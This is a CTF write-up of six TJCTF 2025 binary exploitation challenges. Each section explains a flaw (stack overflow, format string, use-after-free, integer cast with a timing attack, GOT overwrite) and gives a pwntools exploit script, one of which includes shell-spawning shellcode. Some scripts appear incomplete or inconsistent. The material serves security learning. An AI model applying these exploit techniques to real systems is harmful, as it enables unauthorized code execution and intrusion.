TJCTF 2025 - PWN Writeups
These are quick writeups for the pwn challenges from TJCTF 2025. Unfortunately, I wasn't able to participate during the CTF, but since the platform remained online afterward, I decided to tackle the challenges and document my solutions.
birds
Source Code Analysis
Looking at the source code, we see the following logic:
unsigned int canary = 0xDEADBEEF;
char buf[64];
puts("I made a canary to stop buffer overflows. Prove me wrong!");
gets(buf);
if (canary != 0xDEADBEEF) {
puts("No stack smashing for you!");
exit(1);
}
At first glance, it looks like there's a stack canary, but it's just a local variable we can overwrite with the right value—so it's useless as protection.
Now that we've identified a buffer overflow and a bypassable canary, let's check the binary protections:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Since PIE is disabled and there is no real stack canary, we can perform a simple ret2win attack by overwriting the return address after restoring the canary.
Exploitation Strategy
- Overflow the buffer to reach the canary.
- Overwrite the canary with its expected value (
0xDEADBEEF
). - Overwrite the return address to redirect execution to the
win
function, passing the correct argument (0xA1B2C3D4
).
Exploit Code
from pwn import*
elf = context.binary = ELF('./birds')
io = process()
payload = b'A' * (0x50 - 0x4) + p32(0xdeadbeef) + p64(0x0) + p64(0x4011c0) + p64(0xa1b2c3d4) + p64(0x0) + p64(elf.sym.win)
io.sendline(payload)
io.interactive()
buggy
Challenge Overview
We are given a banking program that allows us to perform various operations like viewing balance, depositing, withdrawing, and transferring money.
Key Observations
-
Format String Vulnerability:
- In the deposit action, there's a direct use of user input in printf:
if (DEBUG) { printf(inputBuffer); }
- This allows us to perform format string attacks
-
Binary Protections:
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
The key protection to note here is that the stack is executable, which means we can write and execute shellcode on the stack.
Exploitation Strategy
-
Initial Setup:
- The program leaks the address of our input buffer and balance
- We can calculate the address of saved RIP (return address) from the buffer address
-
Format String Attack:
- We need to write the address of our shellcode to the saved RIP
- Since we need to write multiple bytes and the addresses contain null bytes, we can't do it in one go because fgets() terminates input reading when it encounters a null byte (0x00), which are present in our target addresses
- We'll use the infinite loop to write one byte at a time using
%hhn
-
Shellcode Execution:
- Once we've redirected execution to our buffer, we'll place shellcode to spawn a shell
- The shellcode will be placed at the beginning of our buffer
Exploit Code
from pwn import*
context.terminal = ['kitty', '-e']
elf = context.binary = ELF('./chall')
io = process()
buf = int(io.recvuntil(b',', drop=True), 16)
savedRIP = buf + 0x418
log.info("Buffer is at: " + hex(buf))
log.success("Found saved rip address: " + hex(savedRIP))
def writeToMem(address, value):
if value == 0:
return
payload = b'A' * 0x20 + p64(address)
io.send(payload)
io.sendline() # flush the nullbytes in the input buffer
io.sendline(b'deposit')
payload = f"%{value}c".encode()
payload += b'%16$hhn'
io.sendline(payload)
buf = buf + 0x8 # offset so our shellcode doesn't get overwritten when we write 'exit'
writeToMem(savedRIP, buf & 0xff)
writeToMem(savedRIP + 0x1, (buf >> 8) & 0xff)
writeToMem(savedRIP + 0x2, (buf >> 16) & 0xff)
writeToMem(savedRIP + 0x3, (buf >> 24) & 0xff)
writeToMem(savedRIP + 0x4, (buf >> 32) & 0xff)
writeToMem(savedRIP + 0x5, (buf >> 40) & 0xff)
writeToMem(savedRIP + 0x6, (buf >> 48) & 0xff)
writeToMem(savedRIP + 0x7, (buf >> 56) & 0xff)
payload = b'A' * 0x8
payload += asm("""
mov rbx, 0x0068732f2f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
""")
io.sendline(payload)
io.interactive()
Explanation of the Exploit
-
Format String Vulnerability:
- We use the format string vulnerability in the deposit action to write to memory
- The
%hhn
format specifier writes a single byte, allowing us to write the address byte by byte
-
Memory Writing:
- We write the target address to a known location in our buffer that already contains null bytes (since we can't place null bytes ourselves)
- Using GDB, we can easily find such a location at offset 0x20
- Then use format string to write the desired value to that address
- We repeat this process for each byte of the saved RIP address
-
Shellcode:
- Once we've redirected execution to our buffer, we place our shellcode
city-planning
Challenge Overview
We are given a city planning program that allows us to submit building plans and try to guess the coordinates of a secret headquarters building to get the flag.
Key Observations
-
Memory Management:
- The program allocates memory for a secret HQ building (
superSecretHQ
) and then frees it if it doesn't meet approval criteria - The approval criteria for HQ is:
bool approveHQ(HQPlan *plan) { if (plan->numAcres >= 100) { free(plan); plan = NULL; return false; } if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) { free(plan); plan = NULL; return false; } return true; }
- Since the HQ coordinates are set to
rand() % 150 + 50
, they will always be >= 50, causing the HQ to be freed
- The program allocates memory for a secret HQ building (
-
Use-After-Free Vulnerability:
- The program allocates
currentBuilding
after freeingsuperSecretHQ
- Both structures have similar sizes:
buildingPlan
: 32 (name) + 4 (numAcres) + 8 (coordinates) = 44 bytesHQPlan
: 4 (numAcres) + 8 (coordinates) + 32 (entryCode) = 44 bytes
- Due to heap reuse,
currentBuilding
will likely be allocated at the same address as the freedsuperSecretHQ
- The program allocates
-
Exploitation Path:
- We can control the
name
field ofcurrentBuilding
(32 bytes) - This will overwrite the
numAcres
andcoordinates
fields of the freedsuperSecretHQ
- When we guess the coordinates later, we can set them to 0 since our input will have overwritten them
- We can control the
Exploitation Strategy
-
Submit a building plan that gets approved:
- Name: Any 4 bytes or less (will overwrite HQ numAcres and set its coordinates to 0)
- Size: < 10 acres
- Coordinates: < 200
-
When asked to guess HQ coordinates:
- Enter 0 for both coordinates since our input has overwritten them
Exploit Code
from pwn import *
io = process('./chall')
io.sendlineafter(b'name: ', b'A' * 3)
io.sendlineafter(b'acres): ', b'5')
io.sendlineafter(b'center): ', b'100')
io.sendlineafter(b'center): ', b'100')
io.sendlineafter(b'coordinate: ', b'0')
io.sendlineafter(b'coordinate: ', b'0')
io.interactive()
extra-credit
Challenge Overview
The challenge presents a student grade management system where we need to gain teacher access to change grades and obtain the flag. The system has two main security checks:
- ID validation
- Secret code authentication
Key Observations
-
Teacher ID Check:
- The system checks if the ID is a valid student ID (less than 10)
- The teacher's ID is
0xbee
- The ID is cast to a short before comparison, allowing for integer overflow
-
Secret Code Authentication:
- Uses a timing-based side channel attack
- The process slows down (sleeps) when more correct characters are provided
- This creates a timing difference we can measure to determine correct characters
Exploitation Strategy
The exploit requires two main steps:
-
Bypass Teacher ID Check:
- Since the ID is cast to a short before comparison, we can use a negative integer to bypass the ID check
- The lower 16 bits need to be
0x0bee
- Example:
0xffff0bee
will be cast to0x0bee
as a short
-
Crack the Secret Code:
- Implement a timing attack to determine the correct characters
- Measure response times for each possible character
- Build the secret code character by character
- Use the complete secret code to authenticate as teacher
Exploit Code
from pwn import *
import time
import string
context.log_level = 'error'
context.binary = './gradeViewer'
SECRET_LENGTH = 32
keys = string.ascii_lowercase + string.digits
def crack_secret():
known_secret = bytearray(b'?' * SECRET_LENGTH)
for position in range(SECRET_LENGTH):
max_time = 0
best_key = None
for key in keys:
test_secret = known_secret.copy()
test_secret[position] = ord(key)
print(f"\r[*] Current: {test_secret.decode()}", end='', flush=True)
io = process('./test')
io.sendlineafter(b'ID:', b'4294904814')
io.recvuntil(b'[a-z, 0-9]:')
start_time = time.perf_counter()
io.sendline(test_secret)
response = io.recvuntil((b'granted', b'Invalid'), timeout=2)
end_time = time.perf_counter()
io.close()
elapsed = end_time - start_time
if b'granted' in response:
print(f"\n[+] Found secret: {test_secret.decode()}")
return test_secret.decode()
if elapsed > max_time:
max_time = elapsed
best_key = key
known_secret[position] = ord(best_key)
io = process('./test')
io.sendlineafter(b'ID:', b'4294904814')
io.sendlineafter(b'[a-z, 0-9]:', known_password)
response = io.recvuntil((b'granted', b'Invalid'), timeout=2)
io.close()
crack_secret()
linked
Challenge Overview
We are given a program that manages a linked list of calendar events. The program allows us to add two events, each with a time and name.
Key Observations
- Data Structures:
struct event {
int time;
char name[128];
struct event *next;
};
struct eventList {
int size;
struct event *head;
};
- Vulnerability:
- The
inpcpy
function used to copy event names doesn't check for buffer boundaries - We can overflow the
name
buffer to overwrite thenext
pointer - The program doesn't validate the list size when displaying events, allowing us to traverse beyond allocated nodes
- Binary Protections:
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Exploitation Strategy
Initially, I thought this was going to be a heap challenge due to the use of linked lists and dynamic memory allocation. However, after checking the binary protections and noticing the hint puts("cat flag.txt")
, it became clear that this was a GOT overwrite challenge.
-
Leak libc address:
- Use the first event to overflow the
name
buffer and set thenext
pointer to point to the GOT entry ofputs
- When
displayEvents
is called, it will leak the libc address ofputs
- The first 4 bytes will be leaked in the
time
field and the rest in thename
field
- Use the first event to overflow the
-
Overwrite GOT entry:
- Use the second event to overwrite the
puts
GOT entry with the address ofsystem
- When the program tries to print the hint message, it will execute
system("cat flag.txt")
- Use the second event to overwrite the
Exploit Code
from pwn import*
elf = context.binary = ELF('./chall')
libc = elf.libc
io = process()
io.sendline(b'1')
payload = b'A' * 0x80 + p32(0x0) + p64(elf.got.puts)
io.sendline(payload)
io.recvuntil(b'A' * 0x80)
low = int(io.recvuntil(b':00', drop=True))
high = u32(io.recvline().strip().ljust(0x4, b'\x00'))
puts = low + (high << 32)
libc.address = puts - libc.sym.puts
io.sendline(str(libc.sym.system & 0xffffffff).encode())
io.interactive()
wrong-warp
Challenge Overview
We are given an ELF file named heroQuest
. After reversing the binary using IDA and analyzing it, I discovered the following:
Key Observations
-
Function Analysis:
- In the
fight
function, we can retrieve the flag if the enemy string isfinalBoss
and we defeat it. - However, there is no legitimate way to call the function with
finalBoss
as the enemy in the binary.
- In the
-
Vulnerability:
- The
save
function contains a buffer overflow vulnerability:__int64 save() { _BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF return gets(v1); }
- The
-
Binary Protections:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Given these protections, we can perform a ret2win
attack.
Exploitation Strategies
There are two main ways to exploit the buffer overflow in save
:
-
ret2fight with finalBoss string:
- We can use a
pop rdi; ret
gadget to set therdi
register to the address of the stringfinalBoss
in the binary's data section, then return to thefight
function. This might require running the binary a few times until we get lucky with a negative value for the enemy's health (since we don't have a pop rdx gadget).
- We can use a
-
Jump after the if checks in fight:
- Alternatively, we could jump to the code after the
if
checks in thefight
function. In this case, we would need to pass a writable region torbp
since the flag will be written torbp-0x70
.
- Alternatively, we could jump to the code after the
I went with the second method.
Exploit Code
from pwn import*
elf = context.binary = ELF('./heroQuest')
io = process()
# to reach the save function
io.sendline(b'MySave')
io.sendline(b'w')
io.sendline(b'r')
payload = b'A' * 0x20
payload += p64(0x404500)
payload += p64(0x401640)
io.sendline(payload)
io.interactive()
Explanation of the Exploit
-
Buffer Overflow:
- The
save
function usesgets()
to read user input into a 32-byte buffer (v1
). - This allows me to overflow the buffer and control the return address.
- The
-
Payload Construction:
b'A' * 0x20
: Fills the buffer.p64(0x404500)
: Passes a writable region torbp
.p64(0x401640)
: Jumps to the code after theif
checks in thefight
function.
-
Execution:
- The flag is written to the writable region (
rbp-0x70
) and then printed.
- The flag is written to the writable region (